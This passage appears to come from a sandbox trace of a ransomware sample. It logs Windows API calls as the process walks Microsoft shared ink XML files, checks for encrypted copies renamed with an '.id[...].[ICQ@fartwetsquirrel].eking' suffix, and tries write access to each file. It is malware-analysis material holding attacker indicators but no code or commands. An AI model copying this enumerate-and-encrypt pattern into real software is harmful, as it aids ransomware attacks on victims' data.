shared\\ink\\fsdefinitions\\main\\base.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.485] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=247) returned 1 [0286.486] CloseHandle (hObject=0x2fc) returned 1 [0286.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0286.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0286.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.487] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=3524) returned 1 [0286.487] CloseHandle (hObject=0x2fc) returned 1 [0286.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0286.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0286.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.488] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=3529) returned 1 [0286.488] CloseHandle (hObject=0x2fc) returned 1 [0286.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0286.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0286.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.488] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=738) returned 1 [0286.489] CloseHandle (hObject=0x2fc) returned 1 [0286.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0286.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0286.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.489] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=804) returned 1 [0286.489] CloseHandle (hObject=0x2fc) returned 1 [0286.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0286.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0286.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.491] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=488) returned 1 [0286.491] CloseHandle (hObject=0x2fc) returned 1 [0286.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0286.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0286.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.492] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=617) returned 1 [0286.492] CloseHandle (hObject=0x2fc) returned 1 [0286.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0286.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0286.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.493] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=16616) returned 1 [0286.493] CloseHandle (hObject=0x2fc) returned 1 [0286.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0286.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0286.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.494] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=15097) returned 1 [0286.495] CloseHandle (hObject=0x2fc) returned 1 [0286.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0286.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0286.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.496] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=9803) returned 1 [0286.496] CloseHandle (hObject=0x2fc) returned 1 [0286.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0286.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0286.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.497] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=11067) returned 1 [0286.497] CloseHandle (hObject=0x2fc) returned 1 [0286.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0286.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0286.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.498] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10947) returned 1 [0286.498] CloseHandle (hObject=0x2fc) returned 1 [0286.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0286.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0286.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.499] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=44506) returned 1 [0286.499] CloseHandle (hObject=0x2fc) returned 1 [0286.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0286.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0286.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.500] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=737) returned 1 [0286.500] CloseHandle (hObject=0x2fc) returned 1 [0286.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0286.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0286.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.501] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=221) returned 1 [0286.501] CloseHandle (hObject=0x2fc) returned 1 [0286.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0286.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft 